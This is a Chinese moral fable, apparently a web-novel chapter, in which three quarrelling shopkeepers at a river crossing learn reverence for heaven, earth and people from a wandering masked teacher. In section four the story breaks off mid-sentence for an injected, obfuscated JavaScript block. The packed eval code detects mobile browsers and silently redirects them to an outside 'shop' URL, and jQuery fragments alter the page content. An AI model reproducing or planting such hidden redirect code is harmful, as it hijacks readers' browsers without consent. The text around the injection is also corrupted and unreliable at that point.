楔子·三家争“明”


    津门外有处三岔口，因三条水路交汇得名。此地有座石桥，桥畔有三家店铺鼎足而开：东桥头是“齐家茶棚”，西桥头是“陆家灯笼铺”，桥南是“秦家客栈”。


    齐掌柜齐天福，四十有三，卖茶三代。他有一句话挂在嘴边：“天时不如地利，地利不如人和。”可这“人和”，他只对茶客说，对隔壁两家，却是“人不利”。他说陆家灯笼铺的油烟熏了他的茶，说秦家客栈的泔水臭了他的摊。


    陆掌柜陆明远，四十有一，扎灯笼三代。他也有一句话常念叨：“明人不做暗事。”可这“明”，他只对自己说。夜里偷偷把灯笼挂到齐家茶棚檐下，天亮说齐家占了他的地；偷偷把废竹篾扔到秦家客栈后巷，回头说秦家脏了他的街。


    秦掌柜秦四海，四十有五，开客栈三代。他更有一句口头禅：“四海之内皆兄弟。”可这“兄弟”，他只对南来北往的客商说。对齐家，他说茶棚占了客人的路；对陆家，他说灯笼晃了客人的眼。


    这三家，是三岔口最“明事理”的人家。可三年下来，理越辩越不明，怨越结越深。今日你骂我占道，明日我骂你偷光，后日他骂你挡财。石桥上吵，码头边闹，成了三岔口一景。


    这是永昌八年的初夏，三岔口漕船如梭，三家店铺的幌子迎风招展，可三家的掌柜，在桥头碰面，鼻子不是鼻子，眼不是眼。


    一、 齐家茶棚的“天时”


    这日午后，齐天福正在茶棚里煮茶。茶棚临水而建，三面敞着，河风吹来，带着水汽。齐天福摆弄着茶具，嘴里念叨：“天时，天时，今日东南风，正是煮龙井的好时候。”


    儿子齐明理，十二岁，在棚里擦桌子，擦到第三遍，桌子能照见人影。


    这时，棚里进来一人。来人戴着一顶蒲草编的斗笠，斗笠边缘参差不齐，像是随手折的。身上是件半旧的月白短衫，洗得发白，衣摆用麻绳系在腰间。腰侧挂一柄木剑，剑身无饰，只缠着几圈麻绳。脸上蒙着一方粗葛布，布色灰黄，沾着些路上的尘土。


    “掌柜的，一碗茶。”声音温温的，像这午后的风。


    齐天福抬眼一瞥，见是个行路的，便道：“大碗三文，小碗两文。”


    “大碗。”


    齐天福提壶冲茶，茶叶是陈年的茉莉花，香味已淡。茶汤倒在粗陶碗里，泛着浊黄。


    那人坐下，摘下斗笠放在一旁，却不喝，只看着碗里的茶。


    “掌柜的，这茶，用的是什么水？”


    齐天福一愣：“河水呗，还能是什么水？”


    “河水从哪来？”


    “从西边山上来。”


    “流经几里？”


    “……这我哪知道！”


    那人端起茶碗，却不喝，只看着茶汤里自己的倒影：“天赐水，地载水，人取水。这碗茶，里有天，有地，有人。”


    齐天福听得云里雾里。


    “三才者，天地人。”那人缓缓念出这六个字，“掌柜的可知何意？”


    “自然知道！”齐天福挺起胸，“天时不如地利，地利不如人和！我这茶棚，占尽天时地利人和！”


    “错了。”那人摇头，“天是上天，地是下地，人是中民。天无私覆，地无私载，人无……掌柜的，你这碗茶，可对得起天？对得起地？对得起人？”


    齐天福脸色变了：“你什么意思？”


    “天赐好水，你取浊流。地生好茶，你用陈叶。人付三文，你得劣茶。”那人声音平平，“天、地、人，你一样也对不住。”


    齐天福脸上涨红：“你、你胡说！”


    “我胡说？”那人站起身，走到棚边，指着河水，“这水，从天而降，落地成流，经百里，过千村，养万人。到你这里，你取来煮茶，却不知感恩，反怨河水不清。这是不敬天。”


    又指地上：“这地，生五谷，长百草，育万民。你在这地上摆摊卖茶，却不知珍惜，反怨地不平。这是不敬地。”


    再指茶客：“这些人，南来北往，辛苦奔波，花三文钱买你一碗茶，解渴消乏。你却以劣茶相待，以怨气相迎。这是不敬人。”


    齐天福张口结舌。


    齐明理在旁听得呆了，手里的抹布掉在地上。


    “小兄弟，”那人转向齐明理，“你爹教你擦桌子，可教过你擦心？”


    齐明理愣愣摇头。


    “桌子擦得再亮，心是暗的，有何用？”那人从怀里掏出一本薄册子，封面上写着《三才茶道》。递给齐明理。


    “这个给你。里边有煮茶敬天、敬地、敬人的法子。比如：取水时要念什么，煮茶时要思什么，奉茶时要怀什么。”


    齐明理接过，翻开一看，第一页就画着一碗茶，茶汤清亮，茶烟袅袅。旁边小字写着：“天雨为水，感恩；地生为叶，惜福；人饮为茶，敬客。”


    他看得痴了。


    “掌柜的，”那人转向齐天福，“你说你占尽天时地利人和，可你连天、地、人是什么都不懂。天不是风，是恩；地不是土，是德；人不是客，是缘。你怨天怨地怨人，这茶棚，迟早要倒。”


    说罢，他从怀里掏出三文钱，放在桌上，转身就走。走到棚口，回头：“掌柜的，明日此时，我再来。你若想明白了天、地、人是什么，给我煮一碗真正的三才茶。”


    齐天福呆立良久，看着那三文钱，又看看儿子手里的册子，忽然端起那碗茶，泼在地上。


    “明理，去，打一桶上游的清水来。再把咱家那包明前龙井拿出来。”


    “爹，那茶不是留着卖高价的么？”


    “不卖了。”齐天福看着河水，“煮一碗敬天、敬地、敬人的茶。”


    二、 陆家灯笼铺的“明灯”


    陆明远这日正在铺子里扎灯笼。铺子临街，门口挂满各式灯笼，圆的、方的、八角形的，红纸糊面，竹篾为骨。陆明远手里一把篾刀，刀光闪闪，剖竹如泥。


    “明轩，看好了！竹要直，篾要匀，纸要平，糊要匀！”陆明远一边剖竹一边教儿子，“灯笼灯笼，要点亮别人的路，先要点亮自己的心！”


    陆明轩，十三岁，在旁学糊纸，手笨，纸皱了。


    这时，门口进来那人。还是蒲草斗笠，月白短衫，腰间木剑。脸上蒙着葛布，只露出一双眼睛，在昏暗的铺子里，亮得像星。


    “掌柜的，买盏灯笼。”声音清朗。


    陆明远抬眼，见是昨日在齐家茶棚见过的那人，心里一动，面上堆笑：“客官要什么样的？有圆的，有方的，有八角的，有绣球的……”


    “要一盏能照见天、地、人的灯笼。”那人说。


    陆明远愣住了：“这……灯笼就是灯笼，只能照路，哪能照天、地、人？”


    “怎的不能？”那人走到一盏灯笼前，伸手轻抚糊纸，“这纸，是竹造的。竹从土生，土赖天雨。这纸里，有天，有地。”


    又指竹骨：“这竹，是地生的。地承天露，天生竹。这竹里，有天，有地。”


    再指烛火：“这火，是人点的。人取天雷之火，用地生之油，点灯照路。这火里，有天，有地，有人。”


    陆明远听得呆了。


    “三光者，日月星。”那人缓缓念出这六个字，“掌柜的可知何意？”


    “自然知道！”陆明远挺胸，“日、月、星，是天上的三光！我这灯笼，就是地上的小星星！”


    “错了。”那人摇头，“日是太阳，月是太阴，星是众辰。日主昼，月主夜，星主辰。可掌柜的，你这灯笼，点的什么光？”


    陆明远语塞。


    “你点烛火，烛从蜂蜡来，蜂采百花蜜，花赖天地生。这光，本是天地恩赐，你却用来与人争利。”那人声音不高，却字字清晰，“你夜里挂灯笼到别家檐下，说是争光，实是偷光。你这光，是暗光，不是明光。”


    陆明远脸上红一阵白一阵。


    “你教儿子‘点亮别人的路’，可你自己呢？你点亮了谁的路？”那人指着门外，“齐家茶棚嫌你油烟，秦家客栈嫌你晃眼，路人嫌你挡道。你这灯笼，照的不是路，是怨。”


    陆明轩手里的糨糊碗，“咣当”掉在地上。


    “小兄弟，”那人转向陆明轩，“你爹教你扎灯笼，可教过你扎心？”


    陆明轩愣愣摇头。


    “灯笼扎得再亮，心是暗的，有何用？”那人从怀里掏出一本薄册子，封面上写着《三光明灯》。递给陆明轩。


    “这个给你。里边有扎灯笼敬日、敬月、敬星的法子。比如：选竹时要念什么，糊纸时要思什么，点灯时要怀什么。”


    陆明轩接过，翻开一看，第一页就画着一盏灯笼，光芒四射。旁边小字写着：“日光为恩，感恩；月光为慈，惜福；星光为引，明路。”


    他看得痴了。


    “掌柜的，”那人转向陆明远，“你说你的灯笼是地上的星星，可你这星星，发的是怨光，不是明光。三光者，日月星。日是公道，月是慈悲，星是指引。你的光里，可有公道？可有慈悲？可曾指引？”


    陆明远额头冒汗。


    “一盏灯笼，竹从天雨地土生，纸从人工手艺出，火从天地人合来。这本是敬天、敬地、敬人的东西，你却用来与人结怨。”那人摇头，“可惜，可惜。”


    说罢，他从怀里掏出十文钱，放在柜台上：“这钱，买你一盏灯笼。不要圆的，不要方的，要一盏能照见自己心的。”


    陆明远看着那钱，忽然抓起，塞回那人手里：“先生……这灯笼，送您。”


    “为何？”


    “您让我明白，灯笼不是用来争光的，是用来照路的。”陆明远声音发哑。


    那人接过钱，点点头，挑了盏最普通的圆灯笼，转身就走。走到门口，回头：“掌柜的，明日此时，我再来。你若想明白了日、月、星是什么，给我扎一盏真正的三光明灯。”


    陆明远看着那人的背影消失在街角，又看看儿子手里的册子，忽然把门口那些争奇斗艳的灯笼都取下来。


    “明轩，把这些都收了。今晚，咱扎一盏简单、明亮、能照路的灯。”


    三、 秦家客栈的“四海”


    秦四海这日正在客栈柜台后算账。客栈两层楼，面临三岔口，推窗可见三条河交汇，端的开阔。秦四海拨着算盘，嘴里念叨：“四海之内皆兄弟，五湖之中尽朋友。来的都是客，全凭嘴一张……”


    儿子秦怀远，十四岁，在柜台后学记账，记到“齐家占道费”、“陆家晃眼费”时，笔停了停。


    “记啊。”秦四海瞪眼。


    “爹，这……这合适么？”秦怀远小声说。


    “有什么不合适？他们占我的道，晃我的眼，不该赔钱？”秦四海理直气壮。


    这时，门口进来那人。还是蒲草斗笠，月白短衫，腰间木剑。脸上蒙着葛布，风尘仆仆。


    “掌柜的，住店。”声音温和。


    秦四海抬眼，见是这两日在齐家、陆家见过的那人，心里咯噔一下，面上堆笑：“客官要上房还是下房？”


    “下房即可，住一晚。”


    “好嘞！下房一晚三十文，饭食另算。”秦四海拨着算盘，“客官要热水么？要马料么？要……”


    “只要一床一被，一碗素面。”那人打断他。


    秦四海记了账，收了钱，让伙计带那人去房间。那人却不动，看着墙上一幅画。画的是三岔口，三条河交汇，舟船往来，桥上人来人往。


    “掌柜的，这画好。”


    “客官好眼力！”秦四海笑道，“这是请画师特意画的，三岔口全景！”


    “可画里少了东西。”那人说。


    “少了什么？”


    “少了天，少了地，少了人。”那人指着画，“只有河，只有船，只有桥。天在哪里？地在哪里？人在哪里？”


    秦四海愣了。


    “三才者，天地人。”那人缓缓念出，“掌柜的，你这客栈，占的是天时？是地利？是人和？”


    “自然是占尽天时地利人和！”秦四海挺胸，“您看，我这客栈，面朝三河，背靠大街，南来北往的客商，都要从我这门前过！”


    “错了。”那人摇头，“你面朝三河，可曾敬河？河是天雨所成，是地脉所流。你日日往河里倒泔水，泼脏水，这是敬天敬地？”


    秦四海脸上变了色。


    “你背靠大街，可曾让道？街是万人所走，是百姓所行。你日日占道经营，堵路拦客，这是敬人？”


    秦四海张口结舌。


    “你说四海之内皆兄弟，可你对门两家，齐家、陆家，是你的兄弟么？”那人声音平平，“你骂齐家占道，骂陆家晃眼，收他们‘占道费’、‘晃眼费’，这是待兄弟之道？”


    秦怀远手里的笔，“啪”地掉了。


    “小兄弟，”那人转向秦怀远，“你爹教你‘四海之内皆兄弟’，可教过你，兄弟如何相处？”


    秦怀远愣愣摇头。


    “兄弟不是嘴上说的，是心里认的，是手上让的，是脚下行的。”那人从怀里掏出一本薄册子，封面上写着《四海客栈》。递给秦怀远。


    “这个给你。里边有开店敬天、敬地、敬人的法子。比如：迎客时要念什么，待客时要思什么，送客时要怀什么。”


    秦怀远接过，翻开一看，第一页就画着一座客栈，客栈门开四面，迎八方客。旁边小字写着：“天为顶，感恩；地为基，惜福；人为客，敬待。”


    他看得痴了。


    “掌柜的，”那人转向秦四海，“你说你占尽天时地利人和，可你连天、地、人是什么都不懂。天不是风，是恩；地不是土，是德；人不是客，是缘。你怨天怨地怨人，这客栈，迟早要空。”


    说罢，他从怀里掏出房钱，放在柜台上：“这是房钱，三十文，分文不少。”


    秦四海看着那钱，忽然抓起，塞回那人手里：“先生……这房，送您住。”


    “为何？”


    “您让我明白，客栈不是用来算账的，是用来结缘的。”秦四海声音发颤。


    那人接过钱，点点头，转身上楼。走到楼梯一半，回头：“掌柜的，明日此时，我再来。你若想明白了天、地、人是什么，给我备一间真正的三才房。”


    秦四海看着那人的背影消失在楼梯拐角，又看看儿子手里的册子，忽然把账本上“齐家占道费”、“陆家晃眼费”那两笔账，狠狠划去。


    “怀远，去，请齐掌柜、陆掌柜来，就说……就说我秦四海，请他们喝茶。”


    四、 三岔口的月


    六月初六，天贶节。三岔口有庙会，桥上桥下，人山人海。齐家茶棚、陆家灯笼铺、秦家客栈，都早早开了门。


    齐天福搬了张茶桌摆在门口，桌上摆着三只茶碗。碗是青瓷的，茶是明前龙井，水是上游清水。齐明理在旁烧水，水汽袅袅。


    陆明远扎了一盏新灯笼，挂在门口。灯笼是素白的，不描花，不画鸟，只写了三个字：天、地、人。烛光透出来，照得那三个字亮堂堂的。陆明轩在旁添油，小心得很。


    秦四海在客栈门口摆了张八仙桌，桌上摆着三副碗筷，三碟小菜。秦怀远在旁温酒，酒香四溢。


    三人互相看看，都有些尴尬。三年没坐一桌了，今日天贶节，又是那位先生要来的日子，不坐一桌，说不过去。


    还是秦四海先开口：“齐掌柜，陆掌柜，请坐。”


    齐天福、陆明远拱拱手，坐下。


    茶斟上，酒满上，三人举杯，又放下，不知说什么。


    “这茶……好。”陆明远憋出一句。


    “这灯……亮。”齐天福接一句。


    “这酒……香。”秦四海说。


    说完，三人又沉默了。


    正沉默着，那人来了。还是蒲草斗笠，月白短衫，腰间木剑。只是今日没蒙葛布，脸上戴了个竹面具，面具上刻着日月星辰。手里提着一壶酒，三个酒杯。


    “三位掌柜，赏月呢？”他笑。


    三人忙起身：“先生！”


    那人坐下，自斟一杯酒，举杯邀月：“好月。”


    三人也举杯，同饮。酒是普通的烧刀子，烈，可喝下去，心里暖。


    “先生，”齐天福问，“那十二个字，到底什么意思？”


    “三才者，天地人。三光者，日月星。”那人缓缓念出，“天在上，地在下，人在中。日主昼，月主夜，星主辰。这说的是什么？”


    他看着三人：“说的是规矩，是道理，是本分。天有天的规矩，地有地的道理，人有人的本分。日月星，是光，是明，是引。人活天地间，当敬天，敬地，敬人；当向日，向月，向星。”


    三人肃然。


    “你们三家，一卖茶，一扎灯，一开客栈，本是敬天、敬地、敬人的善业。”那人说，“茶，是天雨地生人采；灯，是天火地竹人扎；客栈，是天覆地载人住。可你们呢？齐掌柜怨天怨地怨人，陆掌柜偷光争光晃光，秦掌柜占道拦客算账。天、地、人，你们一样也没敬；日、月、星，你们一样也没向。”


    三人低头。


    “天赐你好水，你取浊流；地生你好竹，你扎怨灯；人来你店，你算利账。这是不敬天，不敬地，不敬人。”那人声音温和，却字字如针，“日光照你，你嫌太亮；月光照你，你嫌太暗；星光引你，你嫌太远。这是不向日，不向月，不向星。”


    三人汗流浃背。


    “今日你们煮清茶，扎明灯，摆宴席，是悟了。”那人点头，“悟了好。悟了，这三岔口，才真有天时，真有地利，真有人和。”


    他从怀里掏出三个小小的、用竹片刻的牌子，一人给了一个。牌子上刻着六个字：敬天、敬地、敬人。


    “这个，给你们。挂在门口，记在心里。做生意时看看，莫忘了天、地、人。”


    三人接过，那牌子是竹片磨的，光滑温润，在月光下泛着青白的光。


    “先生，”陆明轩大着胆子问，“您从哪里来？”


    “从来处来。”


    “要到哪里去？”秦怀远问。


    “到去处去。”


    “您是做什么的？”齐明理问。


    “我是个看天、地、人的人。”那人笑了，“看人怎么敬天，怎么敬地，怎么敬人。”


    他起身，提起酒壶：“酒喝完了，我该走了。”


    “先生还会来么？”三人齐声问。


    “等你们的茶棚、灯笼铺、客栈，真真正正敬


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17138189|195403||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    天、敬地、敬人的时候，我再来。”他说。


    他走了，沿着三岔口，慢慢地走。月光洒在三条河上，波光粼粼。他的背影在月光里，渐渐远了，融进夜色里。


    三人站在月光下，捧着那块竹牌，久久不语。


    五、 十年后的竹牌


    永昌十八年，天贶节。三岔口还是那个三岔口，庙会还是那个庙会，只是三家的生意，都兴旺了。


    齐家茶棚改名叫“三才茶舍”，不光卖茶，还设了茶亭，免费给路人喝茶。齐明理接了班，人称“明理掌柜”。他煮茶，必用上游清水，必用明前好茶，必用洁净茶具。他说：“敬天，水要清；敬地，茶要好；敬人，具要净。”他儿子齐敬天，九岁，每天在茶舍烧水，烧的水清冽甘甜。


    陆家灯笼铺改名叫“三光灯笼坊”，不光扎灯笼，还收了两个盲童做学徒，教他们扎灯笼。陆明轩接了班，人称“明轩掌柜”。他扎灯笼，必用直竹，必用匀纸，必用净蜡。他说：“向日，竹要直；向月，纸要匀；向星，蜡要净。”他女儿陆向月，十岁，每天在灯笼坊糊纸，糊的纸平整光亮。


    秦家客栈改名叫“四海客栈”，不光住店，还设了粥棚，每月初一十五施粥。秦怀远接了班，人称“怀远掌柜”。他开店，穷书生、赶考人、落难人住宿，分文不取，说：“天为顶，地为基，人为客。客来，是缘。”他儿子秦结缘，十一岁，每天在客栈迎客，迎的笑脸如花。


    今年天贶节，三家又在门口摆桌子，赏月。三个孩子——齐敬天、陆向月、秦结缘，凑在一起。一个在煮茶，一个在扎灯笼，一个在迎客。


    齐天福看着，对陆明远、秦四海笑道：“像不像咱们当年？”


    三人相视而笑，举杯。


    这时，桥那头走来一人。还是蒲草斗笠，月白短衫，腰间木剑。只是斗笠更破，短衫更旧，木剑的剑身多了几道裂痕。脸上依然戴着竹面具，面具上的日月星辰，在月光下清晰可见。


    三人看见，忙迎上去：“先生！”


    那人点头，声音依旧温和：“都变了。”


    “先生没变。”秦怀远说。


    那人笑了，在桌前坐下，自斟一杯酒，举杯邀月：“月还是那个月。”


    三人也举杯。


    齐敬天机灵，捧上一碗新茶：“先生，喝茶，今年的明前，香！”


    陆向月捧上一盏新灯笼：“先生，掌灯，今年的新灯，亮！”


    秦结缘捧上一壶新酒：“先生，喝酒，今年的新酒，醇！”


    那人一一接过，品茶，看灯，喝酒，点头：“好，好。”


    齐天福从怀里掏出那块竹牌，已经用红绳系着，挂在胸前：“先生，您看，我一直戴着。”


    陆明远、秦四海也掏出竹牌，三块竹牌，在月光下泛着温润的光。


    “戴得好。”那人点头，“敬天敬地敬人，在心不在形。”


    “先生，”陆明远问，“您这十年，去了哪里？”


    “走了些地方，见了些人。”那人说，“有怨天怨地的茶商，有偷光争光的灯匠，有占道算账的店主。看得多了，就想，若是他们都明白三才三光，会不会就不同了？”


    三人沉默。


    “三才者，天地人。三光者，日月星。”那人缓缓念，“天在上，人要敬；地在下，人要惜；人在中，人要爱。日光照，人要行得正；月光照，人要坐得端；星光引，人要走得直。敬天惜地爱人，向日向月向星，这才是人活天地间的本分。”


    他看向三个孩子——齐敬天在煮茶，陆向月在扎灯笼，秦结缘在迎客。煮得认真，扎得仔细，迎得热情。


    “他们比你们强。”那人笑了，“煮茶知敬，扎灯知向，迎客知缘。这才对。”


    三人点头，深以为然。


    那人从怀里掏出三块小小的、用竹片刻的牌子，刻着“天恩、地德、人和”，送给三个孩子。


    “这个，给你们的孩子。等他们长大了，教他们敬天、敬地、敬人。等他们做到了，我再来收。”


    三个孩子恭恭敬敬接过。


    “先生，”秦结缘大着胆子问，“您是谁啊？”


    那人摸摸他的头：“我是个喜欢看人敬天、敬地、敬人的人。”


    “那……您还会来看我们煮茶、扎灯、迎客么？”


    “会。”那人站起身，“等你们的孩子的孩子，也这样在月光下煮茶、扎灯、迎客的时候，我还会来。”


    他走了，沿着三岔口，慢慢地走。月光洒在三条河上，波光粼粼。他的背影在月光里，渐渐远了，融进夜色里。


    三人送他到桥头，看着他消失。齐天福忽然说：“你们说，先生教了多少人？”


    陆明远说：“不知道。但我知道，他教的人，都懂了‘三才三光’。”


    秦四海说：“我也懂了。生意不是算计，是结缘。缘结得好，生意自然好。”


    他们回到桌边，孩子们还在那里。齐敬天在教陆向月煮茶，陆向月在教秦结缘扎灯笼，秦结缘在教齐敬天迎客。月光照在他们身上，明晃晃的。


    尾声三才谣


    很多年后，三岔口改名叫“三才口”。桥头的石碑上，刻着十二个字：


    三才者，天地人。三光者，日月星。


    常有外乡人问：“这字谁刻的？”


    口里的老人会说：“是三家明白人刻的。他们啊，从前只会怨天怨地怨人，后来懂了敬天敬地敬人，生意越做越旺，人心越来越和。”


    “怎么敬？”


    “齐家煮茶用清水，敬天；陆家扎灯用直竹，敬地；秦家迎客用笑脸，敬人。这就是敬天敬地敬人。”


    天贶节时，口里的孩子都会唱一首童谣：


    三岔口，三家人，


    怨天怨地怨不停。


    齐家怨水又怨客，


    陆家偷光又争光。


    秦家占道又算账，


    三家争吵无宁日。


    白衣先生来点化，


    三才者，天地人。


    三光者，日月星，


    三家敬天又敬人。


    有个游方的道士路过，听了这童谣，去问茶舍的齐掌柜——当年的齐明理，如今也蓄了须。


    “掌柜的，这童谣里的白衣人，可是位得道高人？”


    齐明理正在教孙子煮茶，闻言停下手，望着窗外的三岔口。


    “是位教人敬天、敬地、敬人的先生。”他说。


    “敬天敬地……不是我们道士的事么？”


    “错了。”齐明理说，“敬天敬地敬人，是每个人的本分。卖茶的，煮茶要敬天；扎灯的，扎灯要敬地；开店的，迎客要敬人。这才是真修行。”


    道士似懂非懂。临走时，齐明理送了他一包茶叶，说：“路上喝。记着，这茶里有天恩，有地德，有人和。”


    道士道了谢，揣着茶叶走了。月光洒在三岔口上，三条河泛着银光。他回头，看见齐明理站在茶舍门口，看着孙子和陆家、秦家的孩子在一起，一个煮茶，一个扎灯笼，一个迎客。月光照在他们身上，像镀了一层银。


    也许那位先生，正在某个地方，看人敬天、敬地、敬人吧。道士想。


    他闻了闻茶叶，清香扑鼻。这天、地、人的味道，原来就在一盏茶里。


    本章诫世


    一、 三才三光训


    - 三才者，天地人


    - 三光者，日月星


    - 破解法：为商者，自问“可曾敬天？可曾敬地？可曾敬人？”；为民者，自问“可曾向日？可曾向月？可曾向星？”


    二、 三家三怨


    - 齐家怨在“三怨”——怨天、怨地、怨人


    - 陆家怨在“三暗”——偷光、争光、晃光


    - 秦家怨在“三算”——算道、算客、算账


    - 惕世：多少商家怨天尤人？多少匠人暗里争利？多少店家算计无度？皆忘敬也


    三、 敬本大道


    - 深层隐喻：人居天地间，当知敬畏。敬天则天佑，敬地则地载，敬人则人和。三光在天，当知向明。向日则行正，向月则心慈，向星则路直


    - 终极指向：立身处世，在明敬畏。敬天敬地敬人，则天地人皆助；向日向月向星，则日月星皆明。不敬不向，虽在光天化日，实处黑暗之中


    三才偈：


    三岔口前三家人，怨天怨地怨不停。


    齐家怨水又怨客，陆家偷光又争光。


    秦家占道又算账，三家争吵无宁日。


    白衣现身来点化，三才者兮天地人。


    三光者兮日月星，三家敬天又敬人。


    后世叹：


    三才者，天地人，三光者，日月星。


    齐家怨天不敬天，陆家暗争不向光。


    秦家算尽不敬人，三家皆忘敬本心。


    白衣点破敬本道，十年敬天又敬人。


    正是：


    津门三岔三家人，怨天尤人各执迷。


    齐家三怨忘敬天，陆家三暗不向光。


    秦家三算不敬人，三家皆失本分心。


    白衣点化敬本道，三才三光十年明。


    敬天敬地更敬人，向日向月又向星。